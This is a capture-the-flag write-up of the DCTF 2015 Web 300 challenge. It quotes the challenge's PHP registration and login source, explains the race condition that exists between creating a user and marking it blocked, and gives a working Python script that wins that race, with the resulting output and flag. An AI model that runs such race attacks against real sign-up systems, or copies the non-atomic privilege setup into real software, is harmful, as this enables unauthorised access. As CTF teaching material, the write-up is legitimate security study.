DCTFU CTF 2015 prequals Web 300
@mrexcessive WHA and Oliver WHA
DCTFU 2015 Web 300
TIMING, Timing... ... NOW! timing
The problem
Get a flag from web register | login service http://10.13.37.4/
The solution
Oliver pulled down the source code to register.php and login.php using the ~ trick
register.php
<?php include_once('config.php'); if(isset($_POST['username'])){ $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $q = "INSERT into users (username, password) values ('".$username."', '".$password."');"; mysql_query($q); $q = "INSERT into privs (uid, blocked) values ((select users.id from users where username='".$username."'), TRUE);"; mysql_query($q); ?> <h2>Congrats! Login now</h2> <?php } else { ?> <h1>Register</h1> <form action="register.php" method="post"> <ul> <li> <label>Username</label> <input type="text" name="username"> </li> <li> <label>Password</label> <input type="text" name="password"> </li> <li> <input type="submit"> </li> </ul> </form> <?php } ?>
login.php
<?php include_once('config.php'); if(isset($_POST['username'])) { $user = mysql_real_escape_string($_POST['username']); $q = 'SELECT * FROM `users` WHERE username="'.$user.'" LIMIT 1'; $result = mysql_query($q); if(!mysql_num_rows($result)) die('nop'); $result = mysql_fetch_array($result); if($result['username'] === $_POST['username'] && $result['password'] === md5($_POST['password'])) { ?> <h1>Logged in as </h1> <div> <h1>Login</h1> <form action="login.php" method="post"> <ul> <li> <label>Username</label> <input type="text" name="username"> </li> <li> <label>Password</label> <input type="text" name="password"> </li> <li> <input type="submit" value="Login"> </li> </ul> </form> </div> <?php } ?>
We had a chat about these and how they might be exploited.
The separation of the database calls for creating a user in register.php suggested that a timing attack might work.
The idea is that because a user is created and then separately (a few fractions of a second later) the blocked flag is set... if you can try your login before that happens then you will get full access... and get the flag.
$q = "INSERT into users (username, password) values ('".$username."', '".$password."');"; mysql_query($q); **We want to get the login in this gap** $q = "INSERT into privs (uid, blocked) values ((select users.id from users where username='".$username."'), TRUE);"; mysql_query($q);
Oliver coded it and it worked for him first time!
I caught up a bit later with this code - you have to change the username each time you run it.
Code on gist here, https://gist.github.com/mrexcessive/26ce8d9c3841d870975d
#!/usr/bin/python #http:10.13.37.4 import requests # see http://stackoverflow.com/questions/4476373/simple-url-get-post-function-in-python import multiprocessing # see http://stackoverflow.com/questions/6286235/multiple-threads-in-python # we need to run register.php and login.php at the same time baseurl = "http://10.13.37.4/" username = "blobbyD" password = "goblob" md5pwd = "476b56907764207c05e118caaf9f9d96" # need this to register, is md5sum of the goblob password # then need to fire up register, fire up login immediately # capture output from both def DoRegister(): url = baseurl + "register.php" payload = {'username' : username, 'password' : md5pwd} r = requests.post(url, data=payload) print "REGISTER:[%s]" % r.text def DoLogin(): url = baseurl + "login.php" payload = {'username' : username, 'password' : password} r = requests.post(url, data=payload) print "LOGIN:[%s]" % r.text if __name__ == "__main__": if False: DoRegister() DoLogin() SEQUENTIAL_FAILS=""" """ if True: # simultaneous(ish) - timing attack processRegister = multiprocessing.Process(target=DoRegister) processDoLogin = multiprocessing.Process(target=DoLogin) processRegister.start() processDoLogin.start()
The sequential process (same as manual process) commented out with if False: above, fails like this:
REGISTER:[ <h2>Congrats! Login now!</h2> ] LOGIN:[ <h1>Logged in as </h1>Your user was automatically blocked]
But the timing attack method works, like this:
REGISTER:[ <h2>Congrats! Login now!</h2> ] LOGIN:[ <h1>Logged in as </h1>CONGRATS! Flag: DCTF{797b5361f70623db624656b3b6105f73}]